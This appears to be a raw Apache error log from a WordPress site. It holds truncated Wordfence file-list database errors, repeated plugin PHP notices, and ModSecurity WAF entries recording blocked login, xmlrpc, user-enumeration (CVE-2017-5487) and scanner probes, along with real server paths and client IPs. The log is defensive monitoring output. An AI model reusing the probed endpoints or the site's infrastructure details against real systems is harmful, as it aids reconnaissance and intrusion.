VALUES ('/home/vetstars/public_html/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Widget/Arrow/ArrowImage/Assets/next/circle-stroke.svg', 'wp-content/plugins/smart-slider-3/Public/SmartSlider3/Widget/Arrow/ArrowImage/Assets/next/circle-stroke.svg'), ('/home/vetstars/public_html/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Widget/Arrow/ArrowImage/Assets/next/full.svg', 'wp-content/plugins/smart-slider-3/Public/SmartSlider3/Widget/Arrow/ArrowImage/Assets/next/full.svg'), ('/home/vetstars/public_html/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Widget/Arrow/ArrowImage/Assets/next/normal.svg', 'wp-content/plugins/smart-slider-3/Public/SmartSlider3/Widget/Arrow/ArrowImage/Assets/next/normal.svg'), ('/home/vetstars/public_html/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Widget/Arrow/ArrowImage/Assets/next/simple-ho...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/updraftplus/methods/backblaze.php', 'wp-content/plugins/updraftplus/methods/backblaze.php'), ('/home/vetstars/public_html/wp-content/plugins/updraftplus/methods/backup-module.php', 'wp-content/plugins/updraftplus/methods/backup-module.php'), ('/home/vetstars/public_html/wp-content/plugins/updraftplus/methods/cloudfiles-new.php', 'wp-content/plugins/updraftplus/methods/cloudfiles-new.php'), ('/home/vetstars/public_html/wp-content/plugins/updraftplus/methods/cloudfiles.php', 'wp-content/plugins/updraftplus/methods/cloudfiles.php'), ('/home/vetstars/public_html/wp-content/plugins/updraftplus/methods/dreamobjects.php', 'wp-content/plugins/updraftplus/methods/dreamobjects.php'), ('/home/vetstars/public_html/wp-content/plugins/updraftplus/methods/dropbox.php', 'wp-content/plugins/updraftplus/meth...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/updraftplus/vendor/rackspace/php-opencloud/lib/OpenCloud/Common/Exceptions/ContainerNotFoundError.php', 'wp-content/plugins/updraftplus/vendor/rackspace/php-opencloud/lib/OpenCloud/Common/Exceptions/ContainerNotFoundError.php'), ('/home/vetstars/public_html/wp-content/plugins/updraftplus/vendor/rackspace/php-opencloud/lib/OpenCloud/Common/Exceptions/CreateError.php', 'wp-content/plugins/updraftplus/vendor/rackspace/php-opencloud/lib/OpenCloud/Common/Exceptions/CreateError.php'), ('/home/vetstars/public_html/wp-content/plugins/updraftplus/vendor/rackspace/php-opencloud/lib/OpenCloud/Common/Exceptions/CreateUpdateError.php', 'wp-content/plugins/updraftplus/vendor/rackspace/php-opencloud/lib/OpenCloud/Common/Exceptions/CreateUpdateError.php'), ('/home/vetstars/public_html/wp-content/plugins/up...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/wordfence/lib/Diff/SequenceMatcher.php', 'wp-content/plugins/wordfence/lib/Diff/SequenceMatcher.php'), ('/home/vetstars/public_html/wp-content/plugins/wordfence/lib/Diff.php', 'wp-content/plugins/wordfence/lib/Diff.php'), ('/home/vetstars/public_html/wp-content/plugins/wordfence/lib/IPTraf.php', 'wp-content/plugins/wordfence/lib/IPTraf.php'), ('/home/vetstars/public_html/wp-content/plugins/wordfence/lib/IPTrafList.php', 'wp-content/plugins/wordfence/lib/IPTrafList.php'), ('/home/vetstars/public_html/wp-content/plugins/wordfence/lib/WFLSPHP52Compatability.php', 'wp-content/plugins/wordfence/lib/WFLSPHP52Compatability.php'), ('/home/vetstars/public_html/wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversPreview.php', 'wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversPr...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/wordpress-seo/admin/class-admin-help-panel.php', 'wp-content/plugins/wordpress-seo/admin/class-admin-help-panel.php'), ('/home/vetstars/public_html/wp-content/plugins/wordpress-seo/admin/class-admin-init.php', 'wp-content/plugins/wordpress-seo/admin/class-admin-init.php'), ('/home/vetstars/public_html/wp-content/plugins/wordpress-seo/admin/class-admin-recommended-replace-vars.php', 'wp-content/plugins/wordpress-seo/admin/class-admin-recommended-replace-vars.php'), ('/home/vetstars/public_html/wp-content/plugins/wordpress-seo/admin/class-admin-user-profile.php', 'wp-content/plugins/wordpress-seo/admin/class-admin-user-profile.php'), ('/home/vetstars/public_html/wp-content/plugins/wordpress-seo/admin/class-admin-utils.php', 'wp-content/plugins/wordpress-seo/admin/class-admin-utils.php'), ('/h...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/wordpress-seo/src/actions/importing/aioseo/aioseo-cleanup-action.php', 'wp-content/plugins/wordpress-seo/src/actions/importing/aioseo/aioseo-cleanup-action.php'), ('/home/vetstars/public_html/wp-content/plugins/wordpress-seo/src/actions/importing/aioseo/aioseo-custom-archive-settings-importing-action.php', 'wp-content/plugins/wordpress-seo/src/actions/importing/aioseo/aioseo-custom-archive-settings-importing-action.php'), ('/home/vetstars/public_html/wp-content/plugins/wordpress-seo/src/actions/importing/aioseo/aioseo-default-archive-settings-importing-action.php', 'wp-content/plugins/wordpress-seo/src/actions/importing/aioseo/aioseo-default-archive-settings-importing-action.php'), ('/home/vetstars/public_html/wp-content/plugins/wordpress-seo/src/actions/importing/aioseo/aioseo-general-sett...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/wordpress-seo/src/integrations/admin/indexing-notification-integration.php', 'wp-content/plugins/wordpress-seo/src/integrations/admin/indexing-notification-integration.php'), ('/home/vetstars/public_html/wp-content/plugins/wordpress-seo/src/integrations/admin/indexing-tool-integration.php', 'wp-content/plugins/wordpress-seo/src/integrations/admin/indexing-tool-integration.php'), ('/home/vetstars/public_html/wp-content/plugins/wordpress-seo/src/integrations/admin/installation-success-integration.php', 'wp-content/plugins/wordpress-seo/src/integrations/admin/installation-success-integration.php'), ('/home/vetstars/public_html/wp-content/plugins/wordpress-seo/src/integrations/admin/integrations-page.php', 'wp-content/plugins/wordpress-seo/src/integrations/admin/integrations-page.php'), ('/home...PHP message: WordPress database error The total number of locks exceeds the
[Sat Jan 24 12:14:22.683345 2026] [proxy_fcgi:error] [pid 14976:tid 14985] [client 103.4.122.14:37666] AH01071: Got error 'wp-content/plugins/wordpress-seo/vendor_prefixed/psr/log/Psr/Log/LoggerInterface.php', 'wp-content/plugins/wordpress-seo/vendor_prefixed/psr/log/Psr/Log/LoggerInterface.php'), ('/home/vetstars/public_html/wp-content/plugins/wordpress-seo/vendor_prefixed/psr/log/Psr/Log/LoggerTrait.php', 'wp-content/plugins/wordpress-seo/vendor_prefixed/psr/log/Psr/Log/LoggerTrait.php'), ('/home/vetstars/public_html/wp-content/plugins/wordpress-seo/vendor_prefixed/psr/log/Psr/Log/NullLogger.php', 'wp-content/plugins/wordpress-seo/vendor_prefixed/psr/log/Psr/Log/NullLogger.php'), ('/home/vetstars/public_html/wp-content/plugins/wordpress-seo/vendor_prefixed/symfony/dependency-injection/Argument/RewindableGenerator.php', 'wp-content/plugins/wordpress-seo/vendor_prefixed/symfony/dependency-injection/Argument/RewindableGenerator.ph...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/js/lazy-load-new.js', 'wp-content/plugins/wp-fastest-cache-premium/pro/js/lazy-load-new.js'), ('/home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/js/lazy-load.js', 'wp-content/plugins/wp-fastest-cache-premium/pro/js/lazy-load.js'), ('/home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/js/statics.js', 'wp-content/plugins/wp-fastest-cache-premium/pro/js/statics.js'), ('/home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/admin.php', 'wp-content/plugins/wp-fastest-cache-premium/pro/library/admin.php'), ('/home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/db.php', 'wp-content/plugins/wp-fastest-cache-premium/pro/library/db.php'), ('/home/vetstars/public_html...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/wp-mail-smtp-pro/src/Pro/Emails/Logs/Importers/ImporterTabAbstractInterface.php', 'wp-content/plugins/wp-mail-smtp-pro/src/Pro/Emails/Logs/Importers/ImporterTabAbstractInterface.php'), ('/home/vetstars/public_html/wp-content/plugins/wp-mail-smtp-pro/src/Pro/Emails/Logs/Importers/Importers.php', 'wp-content/plugins/wp-mail-smtp-pro/src/Pro/Emails/Logs/Importers/Importers.php'), ('/home/vetstars/public_html/wp-content/plugins/wp-mail-smtp-pro/src/Pro/Emails/Logs/Importers/WPMailLogging/Importer.php', 'wp-content/plugins/wp-mail-smtp-pro/src/Pro/Emails/Logs/Importers/WPMailLogging/Importer.php'), ('/home/vetstars/public_html/wp-content/plugins/wp-mail-smtp-pro/src/Pro/Emails/Logs/Importers/WPMailLogging/Tab.php', 'wp-content/plugins/wp-mail-smtp-pro/src/Pro/Emails/Logs/Importers/WPMailLogging/...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/wp-mail-smtp-pro/vendor_prefixed/aws/aws-sdk-php/src/EndpointV2/Ruleset/Ruleset.php', 'wp-content/plugins/wp-mail-smtp-pro/vendor_prefixed/aws/aws-sdk-php/src/EndpointV2/Ruleset/Ruleset.php'), ('/home/vetstars/public_html/wp-content/plugins/wp-mail-smtp-pro/vendor_prefixed/aws/aws-sdk-php/src/EndpointV2/Ruleset/RulesetEndpoint.php', 'wp-content/plugins/wp-mail-smtp-pro/vendor_prefixed/aws/aws-sdk-php/src/EndpointV2/Ruleset/RulesetEndpoint.php'), ('/home/vetstars/public_html/wp-content/plugins/wp-mail-smtp-pro/vendor_prefixed/aws/aws-sdk-php/src/EndpointV2/Ruleset/RulesetParameter.php', 'wp-content/plugins/wp-mail-smtp-pro/vendor_prefixed/aws/aws-sdk-php/src/EndpointV2/Ruleset/RulesetParameter.php'), ('/home/vetstars/public_html/wp-content/plugins/wp-mail-smtp-pro/vendor_prefixed/aws/aws-sdk...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/wp-mail-smtp-pro/vendor_prefixed/monolog/monolog/src/Monolog/SignalHandler.php', 'wp-content/plugins/wp-mail-smtp-pro/vendor_prefixed/monolog/monolog/src/Monolog/SignalHandler.php'), ('/home/vetstars/public_html/wp-content/plugins/wp-mail-smtp-pro/vendor_prefixed/monolog/monolog/src/Monolog/Utils.php', 'wp-content/plugins/wp-mail-smtp-pro/vendor_prefixed/monolog/monolog/src/Monolog/Utils.php'), ('/home/vetstars/public_html/wp-content/plugins/wp-mail-smtp-pro/vendor_prefixed/mtdowling/jmespath.php/src/AstRuntime.php', 'wp-content/plugins/wp-mail-smtp-pro/vendor_prefixed/mtdowling/jmespath.php/src/AstRuntime.php'), ('/home/vetstars/public_html/wp-content/plugins/wp-mail-smtp-pro/vendor_prefixed/mtdowling/jmespath.php/src/CompilerRuntime.php', 'wp-content/plugins/wp-mail-smtp-pro/vendor_prefix...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/wpforms/includes/deprecated.php', 'wp-content/plugins/wpforms/includes/deprecated.php'), ('/home/vetstars/public_html/wp-content/plugins/wpforms/includes/emails/class-emails.php', 'wp-content/plugins/wpforms/includes/emails/class-emails.php'), ('/home/vetstars/public_html/wp-content/plugins/wpforms/includes/emails/templates/body-default.php', 'wp-content/plugins/wpforms/includes/emails/templates/body-default.php'), ('/home/vetstars/public_html/wp-content/plugins/wpforms/includes/emails/templates/default.php', 'wp-content/plugins/wpforms/includes/emails/templates/default.php'), ('/home/vetstars/public_html/wp-content/plugins/wpforms/includes/emails/templates/field-default.php', 'wp-content/plugins/wpforms/includes/emails/templates/field-default.php'), ('/home/vetstars/public_html/wp-content/...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/wpforms/src/SmartTags/SmartTag/UniqueValue.php', 'wp-content/plugins/wpforms/src/SmartTags/SmartTag/UniqueValue.php'), ('/home/vetstars/public_html/wp-content/plugins/wpforms/src/SmartTags/SmartTag/UrlLogin.php', 'wp-content/plugins/wpforms/src/SmartTags/SmartTag/UrlLogin.php'), ('/home/vetstars/public_html/wp-content/plugins/wpforms/src/SmartTags/SmartTag/UrlLogout.php', 'wp-content/plugins/wpforms/src/SmartTags/SmartTag/UrlLogout.php'), ('/home/vetstars/public_html/wp-content/plugins/wpforms/src/SmartTags/SmartTag/UrlLostPassword.php', 'wp-content/plugins/wpforms/src/SmartTags/SmartTag/UrlLostPassword.php'), ('/home/vetstars/public_html/wp-content/plugins/wpforms/src/SmartTags/SmartTag/UrlReferer.php', 'wp-content/plugins/wpforms/src/SmartTags/SmartTag/UrlReferer.php'), ('/home/vetstars/p...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-content/plugins/wpforms/vendor_prefixed/stripe/stripe-php/lib/Service/Terminal/ConnectionTokenService.php', 'wp-content/plugins/wpforms/vendor_prefixed/stripe/stripe-php/lib/Service/Terminal/ConnectionTokenService.php'), ('/home/vetstars/public_html/wp-content/plugins/wpforms/vendor_prefixed/stripe/stripe-php/lib/Service/Terminal/LocationService.php', 'wp-content/plugins/wpforms/vendor_prefixed/stripe/stripe-php/lib/Service/Terminal/LocationService.php'), ('/home/vetstars/public_html/wp-content/plugins/wpforms/vendor_prefixed/stripe/stripe-php/lib/Service/Terminal/ReaderService.php', 'wp-content/plugins/wpforms/vendor_prefixed/stripe/stripe-php/lib/Service/Terminal/ReaderService.php'), ('/home/vetstars/public_html/wp-content/plugins/wpforms/vendor_prefixed/stripe/stripe-php/lib/Service/Terminal/TerminalSer...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path,
[Sat Jan 24 12:14:31.212101 2026] [proxy_fcgi:error] [pid 14976:tid 14985] [client 103.4.122.14:37666] AH01071: Got error ', 'wp-content/themes/twentytwentyfive/templates/page-no-title.html'), ('/home/vetstars/public_html/wp-content/themes/twentytwentyfive/templates/page.html', 'wp-content/themes/twentytwentyfive/templates/page.html'), ('/home/vetstars/public_html/wp-content/themes/twentytwentyfive/templates/search.html', 'wp-content/themes/twentytwentyfive/templates/search.html'), ('/home/vetstars/public_html/wp-content/themes/twentytwentyfive/templates/single.html', 'wp-content/themes/twentytwentyfive/templates/single.html'), ('/home/vetstars/public_html/wp-content/themes/twentytwentyfive/theme.json', 'wp-content/themes/twentytwentyfive/theme.json'), ('/home/vetstars/public_html/wp-content/updraft/index.html', 'wp-content/updraft/index.html'), ('/home/vetstars/publ...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-admin/link-parse-opml.php', 'wp-admin/link-parse-opml.php'), ('/home/vetstars/public_html/wp-admin/link.php', 'wp-admin/link.php'), ('/home/vetstars/public_html/wp-admin/load-scripts.php', 'wp-admin/load-scripts.php'), ('/home/vetstars/public_html/wp-admin/load-styles.php', 'wp-admin/load-styles.php'), ('/home/vetstars/public_html/wp-admin/maint/repair.php', 'wp-admin/maint/repair.php'), ('/home/vetstars/public_html/wp-admin/media-new.php', 'wp-admin/media-new.php'), ('/home/vetstars/public_html/wp-admin/media-upload.php', 'wp-admin/media-upload.php'), ('/home/vetstars/public_html/wp-admin/media.php', 'wp-admin/media.php'), ('/home/vetstars/public_html/wp-admin/menu-header.php', 'wp-admin/menu-header.php'), ('/home/vetstars/public_html/wp-admin/menu.php', 'wp-admin/menu.php'), ('/home/vetstars/public_html/...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfknownfilelist (path, wordpress_path) VALUES ('/home/vetstars/public_html/wp-includes/blocks/cover/editor.css', 'wp-includes/blocks/cover/editor.css'), ('/home/vetstars/public_html/wp-includes/blocks/cover/editor.min.css', 'wp-includes/blocks/cover/editor.min.css'), ('/home/vetstars/public_html/wp-includes/blocks/cover/style-rtl.css', 'wp-includes/blocks/cover/style-rtl.css'), ('/home/vetstars/public_html/wp-includes/blocks/cover/style-rtl.min.css', 'wp-includes/blocks/cover/style-rtl.min.css'), ('/home/vetstars/public_html/wp-includes/blocks/cover/style.css', 'wp-includes/blocks/cover/style.css'), ('/home/vetstars/public_html/wp-includes/blocks/cover/style.min.css', 'wp-includes/blocks/cover/style.min.css'), ('/home/vetstars/public_html/wp-includes/blocks/cover.php', 'wp-includes/blocks/cover.php'), ('/home/vetstars/public_html/wp-includes/blocks/details/block.json', 'wp-includes/...'
[Sat Jan 24 12:14:50.935059 2026] [proxy_fcgi:error] [pid 40902:tid 40924] [client 103.4.122.14:37746] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Sat Jan 24 12:15:08.509476 2026] [proxy_fcgi:error] [pid 14976:tid 14995] [client 103.4.122.14:37838] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Trying to get property 'version' of non-object in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Sat Jan 24 12:15:15.380364 2026] [proxy_fcgi:error] [pid 40902:tid 40922] [client 103.4.122.14:37940] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Sat Jan 24 14:39:41.774367 2026] [:error] [pid 41009:tid 41034] [client 43.166.244.192:60844] [client 43.166.244.192] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aXRpLWrewfoFUDD3TM03QQAAANc"]
[Sat Jan 24 15:41:30.383133 2026] [:error] [pid 41009:tid 41020] [client 92.204.53.188:34380] [client 92.204.53.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.204.53.188, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXR3qmrewfoFUDD3TM1PwwAAAMk"]
[Sat Jan 24 15:43:29.906400 2026] [:error] [pid 22900:tid 22907] [client 34.55.131.218:51692] [client 34.55.131.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.55.131.218, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aXR4IVr6h1PpdlYV7gXOlgAAAQQ"]
[Sat Jan 24 15:43:34.073851 2026] [:error] [pid 22900:tid 22913] [client 34.55.131.218:51692] [client 34.55.131.218] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aXR4Jlr6h1PpdlYV7gXOnQAAAQo"]
[Sat Jan 24 15:43:36.939834 2026] [:error] [pid 22900:tid 22903] [client 34.55.131.218:51692] [client 34.55.131.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.55.131.218, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aXR4KFr6h1PpdlYV7gXOnwAAAQA"]
[Sat Jan 24 16:57:30.225840 2026] [:error] [pid 41009:tid 41024] [client 104.248.23.4:44152] [client 104.248.23.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.23.4, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXSJemrewfoFUDD3TM1tDQAAAM0"]
[Sat Jan 24 18:10:45.407763 2026] [:error] [pid 14976:tid 14989] [client 162.222.34.234:58254] [client 162.222.34.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.222.34.234, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXSapWvdigydYOB2KS9E5wAAAYs"]
[Sat Jan 24 19:25:42.546856 2026] [:error] [pid 40902:tid 40926] [client 62.84.190.190:49622] [client 62.84.190.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.84.190.190, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXSsNgSCceZpurDgOevg2gAAAA4"]
[Sat Jan 24 20:40:38.743788 2026] [:error] [pid 22900:tid 22905] [client 182.44.9.147:44795] [client 182.44.9.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aXS9xlr6h1PpdlYV7gUJDwAAAQI"]
[Sat Jan 24 20:41:00.177943 2026] [:error] [pid 40903:tid 40963] [client 194.164.168.219:46746] [client 194.164.168.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.164.168.219, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXS93Bxw3xvyqXTcGl-q8AAAAFg"]
[Sat Jan 24 21:48:36.625414 2026] [:error] [pid 40905:tid 40981] [client 185.199.223.27:42082] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.199.223.27, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXTNtF3rUAneNkh7mXDVdAAAAI8"]
[Sat Jan 24 22:57:48.581183 2026] [:error] [pid 40903:tid 40946] [client 43.159.145.153:55502] [client 43.159.145.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aXTd7Bxw3xvyqXTcGl_DlgAAAEc"]
[Sat Jan 24 23:01:35.635168 2026] [:error] [pid 14976:tid 14980] [client 159.203.76.93:47740] [client 159.203.76.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.76.93, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXTez2vdigydYOB2KS-IOwAAAYI"]
[Sun Jan 25 00:10:27.987955 2026] [:error] [pid 60761:tid 60786] [client 62.84.190.190:55110] [client 62.84.190.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.84.190.190, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aXTu81ZQvxLvEbXXh9KXxQAAAVY"]
[Sun Jan 25 00:57:03.520691 2026] [:error] [pid 60761:tid 60780] [client 64.89.163.25:58194] [client 64.89.163.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aXT531ZQvxLvEbXXh9KgDAAAAVA"]
[Sun Jan 25 00:57:04.157257 2026] [:error] [pid 14976:tid 14992] [client 64.89.163.25:58334] [client 64.89.163.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aXT54GvdigydYOB2KS-kDgAAAY4"]
[Sun Jan 25 00:57:04.776286 2026] [:error] [pid 40902:tid 40932] [client 64.89.163.25:58473] [client 64.89.163.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aXT54ASCceZpurDgOesedAAAABQ"]
